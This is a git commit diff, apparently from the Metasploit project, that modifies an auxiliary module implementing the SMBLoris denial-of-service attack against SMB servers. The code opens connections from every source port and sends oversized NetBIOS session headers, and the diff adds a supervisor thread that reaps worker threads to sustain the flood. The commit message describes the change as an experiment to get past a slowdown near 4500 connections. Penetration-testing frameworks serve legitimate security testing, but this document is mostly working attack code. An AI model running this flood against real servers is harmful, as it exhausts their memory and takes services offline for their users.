tried adding supervisor model to smbloris

tried to overcome issues with slowdown
around the 4500 connection mark by using the
supervisor pattern to terminate the threads on
the backend. this seems to get us further, but we still
hit a slowdown and the allocations die out before
we hit any serious usage
bug/bundler_fix
David Maloney 2017-08-03 14:19:35 -05:00
parent c9da2d56b9
commit e73ffe648e
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 18 additions and 5 deletions

View File

@ -4,6 +4,7 @@
##
require 'bindata'
require 'ruby_smb'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
@ -49,6 +50,17 @@ class MetasploitModule < Msf::Auxiliary
header = NbssHeader.new
header.message_length = 0x01FFFF
worker_threads = Queue.new
supervisor = Thread.new do
loop do
zombie_thread = worker_threads.pop(true)
unless zombie_thread.nil?
zombie_thread.kill
end
end
end
linger = Socket::Option.linger(true, 30)
(1..65535).each do |src_port|
@ -56,26 +68,27 @@ class MetasploitModule < Msf::Auxiliary
mythr = Thread.new do
opts = {
'CPORT' => src_port,
'ConnectTimeout' => 300
'ConnectTimeout' => 30
}
begin
#nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port)
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
nsock.setsockopt(linger)
nsock.put(header.to_binary_s)
nsock.write(header.to_binary_s)
rescue Exception => e
print_error "Exception sending packet: #{e.message}"
end
end
# select(nil, nil, nil, 0.0001)
# mythr.kill
worker_threads << mythr
end
print_status "Sleeping for 30 seconds..."
select(nil, nil, nil, 30)
supervisor.kill
end
end